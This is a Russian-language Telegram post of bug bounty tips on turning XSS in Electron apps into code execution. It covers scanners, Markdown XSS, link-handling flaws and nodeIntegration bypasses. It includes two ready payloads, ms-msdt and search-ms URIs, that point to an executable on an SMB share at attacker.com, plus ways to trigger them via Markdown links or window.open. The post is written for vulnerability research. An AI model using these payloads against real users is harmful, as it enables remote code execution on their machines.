TGViewer
Записки Зёмы Записки Зёмы @zema_notes · 390 subscribers
Post #39 2.74K
Bug Bounty Tips #2
Сегодня затронем приложения на Electron. А конкретнее доведение XSS до RCE (ну или почти).

Что может понадобиться для упрощения работы:
Сканер electronegativity. Он нужен для сканирования Electron приложений на различные мисконфигурации;
Сканер nodejsscan. Этот инструмент умеет в сканирование модулей nodejs, которые наверняка встроены в исследуемый продукт.

Первым делом нужно найти XSS в исследуемом сервисе. Довольно часто её причиной становится Markdown (на своей практике встречал уже несколько раз). Найти больше информации по XSS в Markdown можно тут.

Если XSS на нашем сайте не была найдена, нужно идти в код приложение и смотреть как приложения открывает ссылки.
Кейс 1 -
Внешние ссылки открываются во внешнем браузере.
Решение - Искать мисконфигурации открытия. Например, проверки на то, что ссылка содержит https://example.com/, а не начинается на это. Ещё можно попытаться кликнуть средней кнопкой мыши.

Кейс 2 -
Внешние ссылки открываются в самом приложении.
Если встретили такое поведение - вам упростили работу.

Итак. Мы смогли найти XSS/возможность открыть внешние ссылки. Что дальше? - встраивать полезные нагрузки. Если electron приложение имеет мисконфигурацию в области работы с nodejs - вы сможете выполнить код. Если нет - смотрите на версию Electron. Вполне возможно, что попадётся версия, уязвимая к различным обходам nodeIntegration.

Если выполнить код не удалось, то можно попытаться выполнить удалённый код/повысить импакт XSS при помощи различных URI схем.

Примеры того, что можно использовать:
ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\attacker.com\smb_share\malicious_executable.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO
search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update

Эти "ссылки" необходимо открыть каким-либо образом. В случае с markdown их можно встроить в ссылки [Some Text](Payload), а затем открыть при помощи СКМ. Если вы нашли XSS/смогли открыть произвольную страницу - откройте при помощи window.open(Payload)

На этих строчках подхожу к концу и желаю всем удачи в поисках уязвимостей.

@zema_notes


p.s. перечитал пост и понял. что кому-то может он показаться непонятным, поэтому если есть вопросы - пишите в комменты, постараюсь ответить.
  • 🔥 14
  • 👍 3
  • ❤ 1
  • 🤡 1
More from @zema_notes
  1. May 13, 2024Ежегодная независимая премия для пентестеров — Pentest award возвращается! Раз в году у эт…
  2. May 2, 2024Привет, это Зёма. Я вернулся. Снова. Прошло уже больше 2 лет с великого пидо прогона гражд…
  3. Jan 25, 2024История одной уязвимости в Chrome Очень простая уязвимость, которую я нашел в Google Chrom…
  4. Jan 1, 2024Всем привет и с наступившим новым годом! Всем желаю покорить новые вершины и достигнуть те…
  5. Oct 14, 2023😭😒🫕 Кузькина мать 30 октября 1961 года серьезные люди собрались на Новой Земле с одной…
  6. Sep 30, 2023Недавно у Багхантер (кто не подписан, объяснитесь, как так вышло?) проходил конкурс, в кот…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →